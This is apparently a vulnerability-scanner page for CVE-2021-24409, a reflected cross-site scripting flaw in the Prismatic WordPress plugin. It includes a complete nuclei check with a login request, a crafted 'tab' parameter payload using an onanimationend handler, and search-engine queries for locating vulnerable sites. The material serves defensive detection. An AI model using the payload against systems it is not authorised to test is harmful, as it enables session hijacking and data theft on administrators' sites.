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CVE-2021-24409· plugin-planet / prismatic· CWE-79

Prismatic < 2.8 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.

Fix

Fixed in version 2.8

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "Leave A Review?") and contains(body_2, "onanimationend=alert(document.domain)")

Run it with nuclei: nuclei -id CVE-2021-24409 -u <target>

The full check
id: CVE-2021-24409

info:
  name: Prismatic < 2.8 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
  remediation: Fixed in version 2.8
  reference:
    - https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24409
    cwe-id: CWE-79
    epss-score: 0.01722
    epss-percentile: 0.77691
    cpe: cpe:2.3:a:plugin-planet:prismatic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: plugin-planet
    product: prismatic
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/prismatic
    fofa-query: body=/wp-content/plugins/prismatic
    publicwww-query: "/wp-content/plugins/prismatic"
  tags: cve2021,cve,wpscan,wordpress,wp,wp-plugin,xss,prismatic,authenticated,plugin-planet,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "Leave A Review?")'
          - 'contains(body_2, "onanimationend=alert(document.domain)")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from